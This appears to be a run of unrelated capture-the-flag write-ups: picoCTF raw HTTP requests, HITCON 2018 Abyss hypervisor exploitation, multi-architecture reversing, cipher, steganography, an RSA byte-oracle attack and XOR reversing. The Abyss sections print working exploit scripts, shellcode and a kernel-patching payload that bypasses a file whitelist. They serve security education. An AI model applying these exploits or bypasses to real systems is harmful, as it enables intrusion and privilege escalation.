When we connect to the server, we are greeted by a superb ASCII-art captcha : ``` _____ ___|____ | / | ______ / / __ __ / /| | |______| \ \ \ \/ / / /_| | ______.___/ / > < \___ | |______|\____/ /_/\_\ |_/ >``` Yep, no way my browser can handle that : as the problem description states,we're going to have to write HTTP requests by hand. ### Writing HTTP requests Mozilla has a pretty good guide to get started on the protocol :"[An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)". An HTTP request has the following content: ```{METHOD} {PATH} {PROTOCOL_VERSION}{HEADERS} {BODY}``` The headers and the body are separated by a newline, the body being optional. Here's a basic example `GET` request : ```GET /index.html HTTP 1.1``` And here's an example `POST` request : ```POST /login.php HTTP 1.1Content-Length: 30 username=iodbh&password=secret``` The `Content-Length` header is mandatory if the request has a body, as it tellsthe server how many bytes are part of the body. (So in the example above, if Ipassed a `Content-Length` of 30, the server would read`username=iodbh&password=secre` - missing the last byte/character). So let's try getting the root page : **Request:** ```GET / HTTP 1.1``` **Response:** ```HTTP/1.1 400 Missing Host headerDate: Mon, 15 Oct 2018 14:00:08 GMTConnection: keep-aliveTransfer-Encoding: chunked 0``` Hmmm, looks like the `Host` header is missing. ### The Host header As you probably know, the DNS protocol helps us resolve hostnames to IPaddresses. But if several domains are hosted on the same machine (or, likein this problem, behind the same proxy), how does the server know what resourceto return ? It reads the host header. _Note : This has very interesting security implications, I highly recommend the talk"[cracking the lens : Targeting HTTP's Hidden Attack-Surface](https://www.youtube.com/watch?v=zP4b3pw94s0)"([text version](https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface))by James Kettle on the subject._ The host we want is given in the task description : `flag.local`. So let'stry with the header : **Request:** ```GET / HTTP 1.1Host: flag.local``` **Response:** ```HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 321etag: W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo"date: Mon, 15 Oct 2018 14:21:53 GMTconnection: close``````html<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> Login </header> <main> You need to log in before you can see today's flag. </main> </body></html>``` You need to log in before you can see today's flag. This time we have some HTML back, with a link to `/login`. ### Handling forms If we follow the link, we get a form : **Request:** ```GET /login HTTP 1.1Host: flag.local``` **Response:** ```GET /login HTTP 1.1Host: flag.local HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 498etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I"date: Mon, 15 Oct 2018 14:26:34 GMTconnection: close``` ```html<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> Login </header> <main> <h2>Log In</h2> <form method="POST" action="login"> <input type="text" name="user" placeholder="Username" /> <input type="password" name="pass" placeholder="Password" /> <input type="submit" /> </form> </main> </body></html>``` There are several things to look for here : - the `method` attribute on the `form` tag : it tells us what methode to use. Here, it's `POST`.- the `action` attribute on the `form` tag : it tells us what path we should send the data to. Here, it's `login`.- the `name` attributes on `input` tags. They tell us what fields we're supposed to send. Here, it's `user` and `pass`. With that and the credentials provided in the task we can construct the nextrequest. Don't forget the `Content-Length` header since our request has a body ! We also need a [`Content-Type` header](https://en.wikipedia.org/wiki/Media_type) indicating what format the body is in.Here, it's `application/x-www-form-urlencoded`. **Request:** ```POST /login HTTP 1.1Host: flag.localContent-Type: application/x-www-form-urlencodedContent-Length: 38 user=realbusinessuser&pass=potoooooooo``` **Response:** ```HTTP/1.1 302 Foundx-powered-by: Expressset-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/location: /vary: Acceptcontent-type: text/plain; charset=utf-8content-length: 23date: Mon, 15 Oct 2018 14:44:27 GMTconnection: close Found. Redirecting to /``` Great, we successfully logged in ! ### Managing cookies So, we got a redirect response to `/`. If we were using a browser, it wouldautomatically follow the redirect and take us to `/`. So we have to do that byhand. But it's not the only thing the browser would by doing for us. HTTP is a stateless protocol, meaning the server is not keeping any statebetween the requests at the protocol level - if we just requested `/`, therewould be no trace of our previous login. The state is instead referenced to by a cookie. We can see it in the previousresponse's `Set-Cookie` header. Our browser would automatically save thatcookie, and automatically send it in the request when the host and path matchthose of the cookie. So the last thing we need to do is request `/` again, this time with the cookie.How do we attach a cookie ? Just use the `Cookie` header : **Request:** ```GET / HTTP 1.1Host: flag.localCookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D``` **Response: ** ```HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 438etag: W/"1b6-eYJ8DUTdkgByyfWFi6OJJSjopFg"date: Mon, 15 Oct 2018 15:02:11 GMTconnection: close``` ```html<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <div class="user">Real Business Employee</div> Logout </header> <main> Hello Real Business Employee! Today's flag is: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}. </main> </body></html>``` Hello Real Business Employee! Today's flag is: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}. And our flag is in the response : `picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}`
# HITCON 2018 - Abyss >The Edge of the Abyss>`nc 35.200.23.198 31733`>[abyss-09ca5eaf281f657a90cab1803f81bdd9.tar.gz](https://s3-ap-northeast-1.amazonaws.com/hitcon2018qual/abyss-09ca5eaf281f657a90cab1803f81bdd9.tar.gz) For this challenge we were provided with an archive containing various files, including 3 flags, a hypervisor binary, a kernel binary and a user binary, with instructions to run the system with `./hypervisor.elf kernel.bin ld.so.2 ./user.elf`. Given there were challenges Abyss I, II and III, I immediately assumed that we would have to pwn each binary in turn, starting from `user.elf`. # System OverviewBefore I started looking at pwning `user.elf`, I spent some time reversing all of the binaries to better understand how it all fit together. The main job of `hypervisor.elf` is to create a KVM virtual machine via the KVM API (`/dev/kvm`), and then service any hypercalls made by the VM. Interestingly when the hypervisor sets up the control registers of the VM, the `NXE` bit is not set in `EFER`, which means NX is disabled within the VM. This was an exciting discovery as it meant that if we could control the instruction pointer within the VM, then we could just jump to our shellcode in memory, massively simplifying our exploitation process. The hypervisor also opens `kernel.bin` and copies the code into address 0 of the VM, before starting execution of the VM at this address. The kernel then runs `ld.so.2 ./user.elf` which loads `user.elf` and executes it. `user.elf` is essentially a reverse polish notation calculator (although you can't easily provide two operands for a given operator, e.g. `2 3 +`, but that doesn't matter), which internally uses an evaluation stack to push and pop operands to/from. Some of the operations it supports are `add`, `sub`, `swap`, and `rot`. # Part 1 - I - 230pts The first thing we needed to do was find a vulnerability in `user.elf`. Looking over the code I soon noticed an off-by-one null byte overflow with the `scanf` which reads the input. The `scanf` uses the format string `%1024s`, which reads a string up to 1024 bytes long, and then a null byte is added. The input buffer was only 1024 bytes long, meaning the null byte overflowed into a loop index, however this loop index is initialised to 0 before use anyway, so this was useless. Next I noticed that both `swap` and `rot` move items around on the evaluation stack without checking the bounds of the evaluation stack pointer. Conveniently the eval stack pointer is positioned directly before the first item in the evaluation stack array. Therefore if the eval stack pointer was at `empty1`, you could use the swap operator (`\`) to swap the top two stack items, i.e. the eval stack pointer with `item0`, which you control. Now the evaluation stack is actually pointing to wherever you want it to and by pushing values to it you can write at your desired location.```[eval stack ptr] [ [item0] [empty1] ... ] ^-- eval stack ptr ^-- swapped --^``` ![Evaluation stack .bss layout](/2018/2018_10_20_HITCON/abyss/images/eval_stack_ptr.png) Thankfully `user.elf` was partial RELRO, meaning we could overwrite a GOT entry with the above technique. The plan was to write a GOT entry with the address of our shellcode (which we put at the end of the input buffer in `.bss`). However, the binary is PIE and there were no leaks, so we had to do some gymnastics with the GOT entries to get a pointer to our shellcode. I did this by adding an offset to a known pointer (unresolved `write` entry which pointed into the PLT) and then swapping DWORDs along until I swapped the low DWORD of the unreslved `printf` entry with our adjusted low DWORD, to form a pointer which pointed to our shellcode. We then triggered `printf` with the `writed` command (`.`), which jumped to our shellcode. The input string I used which overwrote the GOT address to point to the input buffer was `4294967268\2107670+a\31337\31337\31337\.` The harness I used for my exploit was:```pythonimport sysfrom pwn import * LOCAL = False if LOCAL: t = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split())else: t = remote('35.200.23.198', 31733) with open(sys.argv[1]) as f: exploit = f.read() t.sendline(exploit)t.recvuntil('hitcon')flag = 'hitcon' + t.recvuntil('}') log.info(flag)``` And my shellcode (`nasm part1.asm -o part1`):```nasm; part1.asm BITS 64 db '4294967268\2107670+a\31337\31337\31337\.'times 20 nop ; Open "flag"push 0x67616c66push 0x2pop raxmov rdi,rspxor rsi, rsisyscall ; Read contents onto stackmov r9,raxxor rax,raxmov rdi,r9mov rsi,rspxor rdx,rdxmov dl,0x40syscall ; Write contents to stdoutxor rax,raxinc alxor rdi,rdiinc rdimov rsi,rspxor rdx,rdxmov dl,0x40syscall jmp $``` # Part 2 - II - 292ptsNow we had shellcode execution in the `user.elf` we needed to get the contents of the `flag2` file. Interestingly just changing our shellcode above to try and open the `flag2` file failed. After reversing `kernel.bin` it became clear that there was a file whitelist being enforced by the kernel on the `open` syscall, which included `flag` but not `flag2`, therefore our attempts to open it were failing. The kernel communicates with the hypervisor via writing to I/O ports. The exact I/O port number written to determines which function to call in the hypervisor. These port values were defined as `0x8000 + syscall number`. So by writing to port `0x8002` in the VM with `out dx, eax`, where `eax` points to the array of arguments for the syscall, the hypervisor will perform this `open` operation for us and return the result (which we can read with `in eax, dx`). ![Hypervisor run loop](/2018/2018_10_20_HITCON/abyss/images/run_loop.png) My teammate then suggested that maybe we could just write to the I/O ports directly using the `in` and `out` instructions, and therefore completely bypass the kernel and communicate with the hypervisor directly. To my surprise we actually had the required privileges to write to these I/O ports and were able to trigger the handlers in the hypervisor. So now all we had to do was get the hypervisor to do the opening of `flag2` for us, and then we could read and write out the contents of the file as before. ![Hypervisor dispatch function](/2018/2018_10_20_HITCON/abyss/images/handle_hypercall.png) The issue here is that the hypervisor expects pointers into kernel memory for hypercall arguments, therefore blindly passing pointers from the `user.elf` address space didn't make sense to the hypervisor, and promptly crashed it. So now we needed to figure out a way to leak a kernel address and get the `flag2` string mapped into kernel memory at a location we knew/could calculate. Reversing some more we noticed that when the kernel handles the syscalls it would copy any string arguments into kernel memory before using them, which is what it does in the case of `open`. Interestingly the kernel memory which is allocated for the string in `open` isn't freed if the filename fails the whitelist check. Therefore all we needed to do to get `flag2` into kernel memory was to try and open it, the file name would then be copied into kernel memory, fail the whitelist check and stay there at a fixed location. As we didn't have a debugger set up on the VM it wasn't immediately obvious how to find the address of the string, especially without leaks. But then we realised we could break on the hypercalls in the hypervisor and just examine the pointer which was passed. Amazingly this was a constant of `0x204380`. So now we could ask the hypervisor to open a file directly and pass a valid pointer to the filename in kernel memory. The final shellcode to do this was: ```nasm ; part2.asm BITS 64 db '4294967268\2107670+a\31337\31337\31337\.'times 20 nop ; Create string flag2 and attempt to open itmov rax, 0x101010101010101push raxmov rax, 0x101013366606d67xor [rsp], raxxor rax, raxmov al, 2mov rdi, rspxor rsi, rsixor rdx, rdxsyscall ; "flag2" is now in kernel memory at 0x204380 ; Use IO port to open the file with hypervisorxor rdx, rdxxor rcx, rcxmov dx, 0x4444mov cx, 0xc444xor rdx, rcxmov rax, 0x101010101010101push raxmov rax, 0x101010101214281xor [rsp], raxpop raxout dx, eax ; Read the flag onto the stackxor rax, raxxor rdi, rdimov dil, 3mov rsi, rspxor rdx, rdxmov dl, 64syscall ; Write the file to stdoutxor rax, raxinc raxxor rdi, rdiinc rdimov rsi, rspxor rdx, rdxmov dl, 64syscall jmp $+0```(I forgot the shellcode didn't have to be null free, hence the extra xoring) ```bashuser@pwn:~/abyss$ sudo python harness.py part1[+] Opening connection to 35.200.23.198 on port 31733: Done[*] hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}[*] Closed connection to 35.200.23.198 port 31733 user@pwn:~/abyss$ sudo python harness.py part2[+] Opening connection to 35.200.23.198 on port 31733: Done[*] hitcon{take_out_all_memory,_take_away_your_soul}[*] Closed connection to 35.200.23.198 port 31733``` # ConclusionOverall I really enjoyed this challenge and, as always, learnt a lot in the process. I would have loved to get stuck into the third part a bit more but we were pretty low on time after the previous two, so hopefully there'll be some nice writeups. I also think it's about time I learnt how to debug a KVM virtual machine... Thanks to Retr0id who worked on this with me and thanks to the HITCON organisers for a great CTF!
# Abyss I II III## Abyss I* NX disable.* `swap` function doesn't check the index, and the `machine` == `stack[-1]`.```cvoid swap_(){ unsigned int tmp; tmp = stack[machine - 1]; stack[machine - 1] = stack[machine - 2]; stack[machine - 2] = tmp;}```* We can control the value of `machine` by `swap()`.```pythonp = '31' + 'a' + op['minus'] # -31p += op['swap'] # stack point to write.gotp += 'a' + op['store'] # store the high 4 bytep += str( 2107662 + 70 ) + op['add'] # add offset -> write.got point to our inputp += 'a' + op['fetch'] # recover high 4 bytep += op['write'], # write() to jmp to our shellcode```* exploit:```python#!/usr/bin/env pythonfrom pwn import * # hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}# hitcon{take_out_all_memory,_take_away_your_soul} context.arch = 'amd64'host , port = '35.200.23.198' , 31733y = remote( host , port ) kernel = open( './kernel.bin' ).read() s = '31a-\\a:2107732+a;,' + '\x90' * 70s += asm( shellcraft.pushstr( 'flag\x00' ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x70 ) + shellcraft.write( 1 , 'rsp' , 0x70 )) y.sendlineafter( 'down.' , s ) y.interactive()```## Abyss II* Part of code of `hypercall read handler` in Hypervisor:```crw((unsigned int)fd_map[fd].real_fd, *(_QWORD *)&vm->mem + buf, len);```Where `vm->mem` is our vm phisical address.Kernel entry is 0, if we can let `but` == 0, so that we are able to overwrite the kernel memory.Hypervisor will get the return value of kmalloc().* `Hypercall read handler`:```cvaddr = *(_DWORD *)(vm->run + *(_QWORD *)(vm->run + 40LL));if ( (unsigned __int64)vaddr >= vm->mem_size ) __assert_fail("0 <= (offset) && (offset) < vm->mem_size", "hypercall.c", 0x7Eu, "handle_rw");arg = (_QWORD *)(*(_QWORD *)&vm->mem + vaddr);fd = *arg;buf = arg[1];len = arg[2];MAY_INIT_FD_MAP();if ( fd >= 0 && fd <= 255 && fd_map[fd].opening ){ if ( buf >= vm->mem_size ) __assert_fail("0 <= (paddr) && (paddr) < vm->mem_size", "hypercall.c", 0x83u, "handle_rw"); read_ret = rw((unsigned int)fd_map[fd].real_fd, *(_QWORD *)&vm->mem + buf, len); if ( read_ret < 0 ) read_ret = -*__errno_location();}else{ read_ret = -9;}```* Kernel sys_read():```csigned __int64 __usercall sys_read@<rax>(__int64 size_@<rdx>, int fd_@<edi>, unsigned __int64 buf@<rsi>){ signed __int64 ret; // rbx __int64 l; // r12 void *vbuf; // rbp _QWORD *dst; // r13 __int64 paddr; // rsi __int64 v8; // rcx ret = -9i64; if ( fd_ >= 0 ) { l = size_; vbuf = (void *)buf; ret = -14i64; if ( (unsigned int)access_ok(size_, 1, buf) ) { dst = (_QWORD *)kmalloc(l, 0); paddr = physical((signed __int64)dst); ret = (signed int)hyper_read(l, v8, fd_, paddr); if ( ret >= 0 ) qmemcpy(vbuf, dst, ret); kfree(dst); } } return ret;} __int64 __usercall hyper_read@<rax>(__int64 len@<rdx>, __int64 a2@<rcx>, int fd@<edi>, __int64 buf@<rsi>){ __int64 l; // r12 _QWORD *vaddr; // rax _QWORD *v; // rbx unsigned int paddr; // eax unsigned int v8; // ST0C_4 l = len; vaddr = (_QWORD *)kmalloc(0x18ui64, 0); *vaddr = fd; vaddr[1] = buf; vaddr[2] = l; v = vaddr; paddr = physical((signed __int64)vaddr); vmmcall(0x8001u, paddr); kfree(v); return v8;}```* Pass the return value of kmalloc() to hypervisor:```cdst = (_QWORD *)kmalloc(l, 0);paddr = physical((signed __int64)dst);ret = (signed int)hyper_read(l, v8, fd_, paddr);```* Now our goal is to let `kmalloc` return 0 value.* Kernel kmalloc():```csigned __int64 __usercall kmalloc@<rax>(unsigned __int64 len@<rdi>, int align@<esi>){ unsigned __int64 nb; // r8 signed __int64 now; // rsi signed __int64 v4; // rdx unsigned __int64 now_size; // rax bool equal; // zf __int64 next; // rcx signed __int64 ret; // rax _QWORD *v9; // rcx signed __int64 r; // [rsp+0h] [rbp-10h] if ( len > 0xFFFFFFFF ) return 0i64; nb = len + 16; if ( ((_BYTE)len + 16) & 0x7F ) nb = (nb & 0xFFFFFFFFFFFFFF80ui64) + 0x80; if ( align ) { if ( align != 0x1000 ) hlt((unsigned __int64)"kmalloc.c#kmalloc: invalid alignment"); if ( !((0xFF0 - MEMORY[0x4840]) & 0xFFF) || malloc_top((0xFF0 - MEMORY[0x4840]) & 0xFFF) ) { malloc_top(nb); // r kfree(v9); ret = r; if ( r ) { if ( !(r & 0xFFF) ) return ret; hlt((unsigned __int64)"kmalloc.c#kmalloc: alignment request failed"); } } } else { now = MEMORY[0x4860]; v4 = 0x4850i64; while ( now ) { now_size = *(_QWORD *)now; if ( (unsigned __int64)(*(_QWORD *)now - 1i64) > 0xFFFFFFFE || now_size & 0xF ) { hlt((unsigned __int64)"kmalloc.c: invalid size of sorted bin");LABEL_12: *(_QWORD *)(v4 + 16) = next; if ( !equal ) { *(_QWORD *)(now + nb) = now_size - nb; insert_sorted((_QWORD *)(now + nb)); } ret = now + 16; *(_QWORD *)now = nb; *(_OWORD *)(now + 8) = 0i64; if ( now != -16 ) return ret; break; } equal = nb == now_size; next = *(_QWORD *)(now + 16); if ( nb <= now_size ) goto LABEL_12; v4 = now; now = *(_QWORD *)(now + 16); } ret = malloc_top(nb); if ( ret ) return ret; } return 0i64;}```* There are two conditions that `kmalloc` will return 0. * len > 0xffffffff: ```c if ( len > 0xFFFFFFFF ) return 0i64; ``` * if kmalloc doesnt find the appropriate chunk in sorted bin, it will allocate from top by `malloc_top`. ```c ret = malloc_top(nb); if ( ret ) return ret; ``` * If `malloc_top` return 0, it won't return 0 directly, but `kmalloc` will still return 0 in the end. ```c ret = malloc_top(nb); if ( ret ) return ret; } return 0; } ```* We can not use the condition 1, because if we want to let the `len` to be 0x100000000, we need a memory space exactly has the 0x100000000 long space, due to `access_ok()` checking.* We can't mmap that huge memory space.* We have to go condition 2, let `malloc_top` return 0.* `malloc_top`:```csigned __int64 malloc_top(unsigned __int64 nb){ signed __int64 ret; // rax __int64 top; // rax unsigned __int64 new_top; // rdi ret = 0; if ( arena.top_size >= nb ) { top = arena.top; arena.top_size -= nb; arena.top->size = nb; new_top = arena.top + nb; ret = arena.top + 16; arena.top = new_top; } return ret;}```* Just give a size which lager than `arena.top_size`, it will return 0. 1. `mmap(0, 0x1000000, 7)` -> `arena.top_size` remain the size < 0x1000000. 2. `sys_read( 0, buf, 0x1000000 )` -> `kmalloc` in `hypercall read` will return 0. 3. Pass 0 to hypervisor, `hypercall read handler` will do `read( 0, &vm->mem + 0 , 0x1000000 )`. 4. Now we can overwrite the whole kernel space! * For flag2, I overwrite the opcodes in kernel `sys_open` which do checking filename with `nop`.* ORW flag2.* exploit:```python#!/usr/bin/env pythonfrom pwn import * # hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}# hitcon{take_out_all_memory,_take_away_your_soul} context.arch = 'amd64'host , port = '35.200.23.198' , 31733y = remote( host , port ) kernel = open( './kernel.bin' ).read() s = '31a-\\a:2107732+a;,' + '\x90' * 70s += asm( ''' mov rdi, 0 mov rsi, 0x1000000 mov rdx, 7 mov r10, 16 mov r8, -1 mov r9, 0 mov rax, 8 inc rax syscall mov rbp, rax push rsp ''' + shellcraft.write( 1 , 'rsp' , 8 ) + shellcraft.read( 0 , 'rbp' , 0x1000000 ) + shellcraft.pushstr( 'flag2\x00' ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x70 ) + shellcraft.write( 1 , 'rsp' , 0x70 )) y.sendlineafter( 'down.' , s )y.recvline()user_stack = u64( y.recv(8) )success( 'User stack -> %s' % hex( user_stack ) ) kernel_mod = kernel[:0x14d] + p64( 0x8002000000 ) + p64( user_stack + 0x100 )kernel_mod += kernel[0x15d:0x9a4] + '\x90' * 0x75 sleep(1)y.send( kernel_mod ) y.interactive()```
# HITCON CTF 2018 : Baldis-RE-Basics **category** : misc **points** : 421 **solves** : 3 ## write-up First of all, we got the first blood of this challenge, yeahhh!!!!!!!!! In this challenge, we have to do **assemble, disassemble, and emulate** for 8 kinds of architecture Here is the list of packages I used to solve this challenge | architecture | assemble | disassemble | emulate || --- | --- | --- | --- || i386 | pwntools | capstone | unicorn || amd64 | pwntools | capstone | unicorn || arm | pwntools | capstone | unicorn || aarch64 | pwntools | capstone | unicorn || mips | keystone | capstone | unicorn || powerpc | pwntools | capstone | pwntools.run_shellcode ( qemu ) || risc-v | pwntools-patch | pwntools-patch | pwntools-patch.run_shellcode ( [spike](https://github.com/riscv/riscv-isa-sim) ) || wasm | wabt/wat2wasm | [wasm](https://github.com/athre0z/wasm) | wabt/wasm-interp | There are 7 rooms at the beginning Every room will contain a random architecture to solve After solving 7 rooms, the hidden architecture **wasm** will come up = = ![](https://i.imgur.com/QaXisdl.png) ### install First, we need to install lots of package binutils for different architecture ```apt-get install binutils-powerpc-linux-gnu \\ binutils-aarch64-linux-gnu \\ binutils-mips-linux-gnu \\ binutils-arm-linux-gnueabi \\ binutils-riscv64-linux-gnu``` [keystone](http://www.keystone-engine.org/) to assemble [capstone](http://www.capstone-engine.org/) to disassemble [unicorn](https://www.unicorn-engine.org/) to emulate also the mighty **pwntools** which can do everything [riscv-tools](https://github.com/riscv/riscv-tools) for risc-v architecture ( compile this need lots of time, remember to set multithread flag `-j8` ) [wabt](https://github.com/WebAssembly/wabt) for wasm architecture ### assemble For assemble, we need to **assemble** assembly code to machine code **pwntools** is enough for most architecture However, pwntools `asm` for **mips** didn't get the right answer. Use keystone instead ### disassemble For disassemble, we need to **disassemble** machine code to assembly code At first, I also use **pwntools** for disassemble, and use regex replace to fix the format Then, one of my teammate realize that the server use **capstone** to do disassemble ### emulate For emulate, the server will give us a **function**, and we need to determine the right answer for the **return value** after the function is executed. **unicorn** is easy to use, because it can read a register out directly from script **unicorn** did not support powerpc, so we use **pwntools** `run_shellcode` function, which actually use qemu, to emulate shellcode for us `run_shellcode` only give us **exit code** ( 1 byte ), I leak the return value through **exit code** and shift 8 four times to get the whole 32 bits answer. ### risc-v **keystone**, **capstone**, **unicorn** and **pwntools** all did not support risc-v, so I patch **pwntools** `pwnlib/context/__init__.py`, `pwnlib/asm.py`, and `pwnlib/tubes/process.py` and use **pwntools** to do `asm`, `disasm`, and `run_shellcode` Because **pwntools** actually use the binutils tools and qemu to do `asm` and `disasm` and `run_shellcode` for us `binutils-riscv64-linux-gnu` exists and also `spike` can replace qemu All we need to do is add some constant in **pwntools** and it will works perfectly. For emulate, I use the same trick to get the return value through **exit code** Notice that there is a infinite loop in the shellcode ( maybe some kind of joke from the challenge maker ? ) `f0: 0000006f j 0xf0` We need to strip the shellcode after this line to finish execution ### wasm And finally, after 7 architectures ( and get half of the flag ) is the final hidden architecture We use [wabt](https://github.com/WebAssembly/wabt) tools For emulate, I wrap the disassembled shellcode inside a function and re-assemble it back to wasm and use `wasm-interp` to emulate ```(module (export "square" (func $square)) (func $square (param) (result i32) shellcode... ))``` flag : `hitcon{U_R_D4_MA5T3R_0F_R3_AND_PPC_!#3}` ## other write-ups and resources
This task was essentially the same as the previous one called hertz. I used the same approach with two small differences : 1. I had to modify my script to handle capital letter2. The ciphertext was considerably shorter and ended with `nxugUAR{edyeaxadaxgt_uxnifke_qkf_agg_fqep_jeukedvgml}`. Knowing the flag format, I guessed the initial substitutions for the letters `p`, `i`, `c`, `o`, `t` and `f`. Here's my updated script after those initial guesses : ```pythonfrom string import ascii_lowercasefrom collections import Counterfrom colorama import Fore with open('ciphertext', 'r') as f: ciphertext = f.read() # Get the letter frequencycharcount = Counter(c for c in ciphertext if c in ascii_lowercase)total_chars = sum(charcount.values())for char, count in charcount.items(): print(f'{char}: {(count*100)/total_chars}% ({count})') # Reverse the substitutionssub = { 'n': 'p', 'x': 'i', 'u': 'c', 'g': 'o', 'a': 't', 'r': 'f',}plaintext = ''for char in ciphertext: if char in sub: char = char.replace(char, f'{Fore.GREEN}{sub[char]}{Fore.RESET}') elif char.lower() in sub: char = char.replace(char, f'{Fore.GREEN}{sub[char.lower()].upper()}{Fore.RESET}') plaintext += char print(plaintext)``` _Note : this uses the third-party library[colorama](https://github.com/tartley/colorama) for colored output._
# I am many (for, 100p, 65 solved) A rather trivial forensics/stegano challenge.We get a png file: ![](hackover_first.png) But if we run binwalk on this, we can see that there is another PNG file glued at the end: ![](hackover_second.png)
# Lost key (crypto, 257p, 29 solved) In the task we can connect to a service running [python code](rsa_hitcon.py).We can easily deduce that it's a textbook implementation of RSA cryptosystem.We get encrypted flag from the server and then we can perform two operations: - encryption of selected payload- decryption of selected payload, but only least significant byte is returned Contrary to the similar Paillier task, here we can perform only 150 operations in total.Similarly, we don't know the public key. ## Recover public key modulus We could perform a similar trick as in Paillier task to recover modulus bit by bit, but we don't have enough operations for that.If we knew `e` we could ask server to encrypt for us `2` and `3` to get back `2**e mod n` and `3**e mod `n and then calculate `gcd(2**e - (2**e mod n), 3**e - (3**e mod n))`.The trick here is that if we substract `x**e - (x**e mod n)` we get a number which is a multiply of `n`, and thus `gcd(k1*n, k2*n)` most likely will give back `n` or `n` multiplied by some small factor `k`. Here we don't know `e`, so this won't work, but we figured a very similar construction.We can ask server to encrypt `2` and `2**2`, and also `3` and `3**2`.Now we can square encrypted `2` to get `(2**e mod n)**2` and subtract `(2**e mod n)**2 - (2**2**e mod n)`.This operation similarly as above, gives us some multiply of `n`.We do the same for `3` and calculate `gcd` of those two numbers, which should result in `n` possibly multiplied by some small factor: ```pythondef recover_pubkey(enc): two = int(enc('\x02'), 16) three = int(enc('\x03'), 16) power_two = int(enc('\x04'), 16) power_three = int(enc('\x09'), 16) n = gmpy2.gcd(two ** 2 - power_two, three ** 2 - power_three) while n % 2 == 0: n = n / 2 while n % 3 == 0: n = n / 3 return n``` Just in case we divide the result by 2 and 3, in case those are the small factors.We could run some simple factorization on the number to be sure it's `n` and not `k*n` but it was not necessary. ## Recover the flag Now that we have `n` we can try to recover the flag from the server.Sadly RSA is only homomorphic with multiplication, and not with addition, so we can't use the same trick as with Paillier. We could run a classic Least-Significant-Bit Oracle attack here, but we lack the number of necessary operations.It would take us 1024 queries to narrow the flag down bit by bit, especially that we know that the flag is on the small bytes part of the data.However, we know the whole least significant byte of the decryption, not just the single bit!It turns out we can use this byte to recover the state of 8-LSB bits which we would see if we were using the classic LSB Oracle and multiplying the plaintext by 2.So instead we multiply by `2**8` and recover all 8 bits for this step: ```python x = flag real_x = int(dec(long_to_bytes(flag)), 16) multiplier = int(enc(long_to_bytes(2 ** 8)), 16) x = x * multiplier expected_value = int(dec(long_to_bytes(x)), 16) for configuration in itertools.product([0, 1], repeat=8): res = real_x % 256 for bit in configuration: res = res * 2 if bit == 1: res = res - n res = res % 256 if res == expected_value: print(configuration) bits.extend(configuration) break``` We literally brute-force all combinations of LSB Oracle bits state and check for which one of them the resulting LSB byte is the same as what we got from the server.We run this in a loop for each character to recover entire flag: `hitcon{1east_4ign1f1cant_BYTE_0racle_is_m0re_pow3rfu1!}` Whole solver [here](rsa_solver.py)
TL;DR: overflow AES padding into RSA plaintext of AES key, recover AES key via Coppersmith related message attack, decrypt flag. See [writeup](https://abiondo.me/2018/10/23/hitcon18-secretnote/).
```array[] = {0x0a,0x0d,0x06,0x1c,0x22,0x38,0x18,0x26,0x36,0x0f,0x39,0x2b,0x1c,0x59,0x42,0x2c,0x36,0x1a,0x2c,0x26,0x1c,0x17,0x2d,0x39,0x57,0x43,0x01,0x07,0x2b,0x38,0x09,0x07,0x1a,0x01,0x17,0x13,0x13,0x17,0x2d,0x39,0x0a,0x0d,0x06,0x46,0x5c,0x7d} // rdi register points this array at 0x004000b2 // algorithm is something like thisflag = x[0] xor x[1] = array[0]flag = x[1] xor x[2] = array[1]flag = x[2] xor x[3] = array[2]flag = x[3] xor x[4] = array[3]....flag = x[x] xor x[x+1] = array[x]``` ```#include <stdio.h>//irGeeksint main() { char x[] = {0x0a,0x0d,0x06,0x1c,0x22,0x38,0x18,0x26,0x36,0x0f,0x39,0x2b,0x1c,0x59,0x42,0x2c,0x36,0x1a,0x2c,0x26,0x1c,0x17,0x2d,0x39,0x57,0x43,0x01,0x07,0x2b,0x38,0x09,0x07,0x1a,0x01,0x17,0x13,0x13,0x17,0x2d,0x39,0x0a,0x0d,0x06,0x46,0x5c,0x7d}; char z[0x2f]; z[0] = 'f'; z[1] = 'l'; z[2] = 'a'; z[0x2e] = 0; for (int i = 0; i < 0x2e; i++) { for (int y = 0; y < 255; y++) { if ((z[i] ^ y) == x[i]) { z[i+1] = y; } } } printf("%s",z); // flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!} return 0;}//Sajjad```
